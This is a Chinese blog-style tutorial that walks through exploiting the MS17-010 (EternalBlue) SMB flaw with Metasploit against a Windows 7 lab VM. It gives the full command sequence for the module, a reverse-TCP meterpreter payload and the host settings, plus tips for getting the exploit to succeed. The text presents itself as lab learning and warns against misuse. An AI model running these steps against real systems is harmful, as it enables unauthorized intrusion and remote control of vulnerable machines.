别慌,这篇手把手带你玩转它!
说真的,第一次听到“永恒之蓝”这名字,我还以为是哪款新出的蓝色妖姬香水呢,哈哈!结果一查,好家伙,原来是那个大名鼎鼎的MS17-010漏洞利用工具,不少朋友后台私信我:“这东西到底咋整啊?看着教程一堆,头都大了!”别急别急,今天咱们就唠点实在的——永恒之蓝立刻上手,不整那些虚头巴脑的理论,直接开干!你跟着我的节奏走,保准半小时内你就能在自己搭的靶机环境里跑通它,先说明啊,咱们只聊技术学习,别拿去干坏事,不然警察叔叔请喝茶我可不管哟~

先唠唠:为啥要“立刻上手”?
你发现没?网上讲永恒之蓝的文章,十篇有八篇在复制粘贴百科,什么“SMB协议”“缓冲区溢出”……看得人眼皮打架,我当初也是受害者之一啊!后来我琢磨明白了:这玩意儿就跟学游泳一样,你在岸上比划一百遍姿势,不如直接跳水里扑腾两下,永恒之蓝立刻上手”的核心就一个字——干!先跑通流程,再回头补理论,效率直接翻倍,你说是不是这个理儿?
不过丑话说前头:必须用虚拟机搭靶机(推荐Windows 7 SP1 x64),千万别拿真实生产环境试水!我有个粉丝不信邪,非在自己公司内网点了一下,结果……唉,不说了,他现在还在写检讨呢。
环境准备:三下五除二搞定
好,咱们开始“永恒之蓝立刻上手”的第一步——搭环境,你需要三样东西:
- 攻击机:Kali Linux(虚拟机就行,别装物理机,省得折腾驱动)
- 靶机:Windows 7 SP1(记得关防火墙!关防火墙!关防火墙!重要的事说三遍)
- 工具包:Metasploit Framework(Kali自带,省心得很)
哎对了,有朋友问:“我电脑配置低咋办?” 放心,这俩虚拟机各给2G内存就够跑,我五年前的老笔记本都带得动,装好之后,先互相ping一下,能通就行,这一步要是卡住了……嗯,那你可能得先补补VMware网络模式的基础课,真的,别硬刚。
永恒之蓝立刻上手:五步走起!
来来来,重头戏来了啊!打开你的Kali终端,跟着我敲:
第一步:启动Metasploit
msfconsole
等它加载完,你会看到一个“msf6 >”的提示符,第一次启动可能有点慢,喝口水的功夫就好了。
第二步:搜索模块
search ms17-010
唰一下出来一堆结果,别眼花!咱们要的是 exploit/windows/smb/ms17_010_eternalblue 这个,记住了啊,名字里带“eternalblue”的才是正主。
第三步:调用模块并配置
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.x.x # 换成你靶机的IP set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.x.x # 换成你Kali的IP
这儿有个坑我得提醒你:LHOST千万别填127.0.0.1!我头一回就栽这儿了,反弹连不上,排查了半小时才发现是自己手贱,唉,说多了都是泪……
第四步:开跑!
exploit
或者敲 run 也行,然后你就盯着屏幕看——如果一切顺利,几秒钟后你会看到“WIN”字样,接着就掉进meterpreter会话了,那一刻的感觉,啧啧,就跟打游戏通关似的,爽!
第五步:验证一下
sysinfo
能看到靶机的系统信息,就说明你成功了!恭喜恭喜,永恒之蓝立刻上手成就达成✅
踩坑指南:这些雷我替你踩过了
说实话,我第一次跑的时候失败了三次,气得想砸键盘,后来总结了几条经验,你收好:
- 靶机必须是Win7 SP1,Win10打不了(别问我怎么知道的)
- 防火墙一定要关,或者放行445端口
- 虚拟机网络选NAT或桥接都行,但俩机器得在同一网段
- 如果报“Connection refused”,八成是靶机没开SMB服务,去服务里手动启动一下
还有啊,有些教程让你用auxiliary/scanner/smb/smb_ms17_010先扫描确认漏洞存在,这步可以做,但别纠结——直接exploit有时候更快,真的,信我。
最后唠两句掏心窝子的话
你看,永恒之蓝立刻上手其实没那么玄乎吧?关键就是别被那些长篇大论吓住,先跑起来再说,我写这篇就是想告诉你:技术这东西,动手永远比空想强,你光收藏一百篇教程不动手,不如踏踏实实跟着我这五步走一遍。
当然了,学归学,法律红线碰不得,这漏洞当年祸害了多少医院、学校的电脑啊,咱们拿它练手可以,拿去搞破坏那就是另一回事了,技术本身无罪,看你怎么用,你说对吧?
好了,今天就唠到这儿,你要是跟着跑通了,回来评论区吱一声,让我也替你高兴高兴!要是卡住了,也别憋着,留言问我,我看到就回,咱们下篇见,拜拜~ 👋